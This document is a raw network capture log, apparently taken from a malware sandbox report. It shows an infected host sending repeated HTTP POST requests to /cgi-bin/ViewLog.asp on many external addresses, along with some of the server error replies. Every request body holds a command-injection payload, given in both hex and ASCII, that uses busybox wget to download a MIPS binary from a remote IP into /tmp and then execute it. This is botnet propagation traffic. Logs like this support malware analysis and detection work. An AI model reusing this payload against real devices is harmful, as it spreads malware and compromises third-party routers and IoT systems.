                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.840014935 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.447890997 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                824192.168.2.155504285.235.65.1628080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:58.769797087 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:58.959944963 CET380INHTTP/1.1 405 Not Allowed
                                                Server: nginx/1.24.0
                                                Date: Thu, 23 Nov 2023 04:22:58 GMT
                                                Content-Type: text/html
                                                Content-Length: 157
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.24.0</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                825192.168.2.155890094.46.168.948080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:58.895590067 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:59.091237068 CET564INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:22:58 GMT
                                                Server: Apache
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 301 Moved Permanentlyerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                826192.168.2.155101494.121.182.2528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:58.925579071 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                827192.168.2.155034294.238.152.1378080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.131953001 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:59.704134941 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:00.824074030 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                828192.168.2.153673285.10.192.1698080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.151782036 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:59.336180925 CET184INHTTP/1.1 502 Bad Gateway
                                                Server: Caddy
                                                X-Forwarded-For:
                                                Date: Thu, 23 Nov 2023 04:22:59 GMT
                                                Content-Length: 0


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                829192.168.2.155051294.242.230.2338080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.158977985 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                830192.168.2.156073062.29.90.1688080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.181653976 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                831192.168.2.154105631.136.216.678080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.214850903 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.332030058 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:08.471863985 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                832192.168.2.154088831.136.150.1638080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.215331078 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.332040071 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:08.471879005 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                833192.168.2.155403031.136.228.1238080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.215879917 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.332037926 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:08.471877098 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                834192.168.2.154115831.136.133.988080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.216372013 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.332017899 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:08.471863031 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


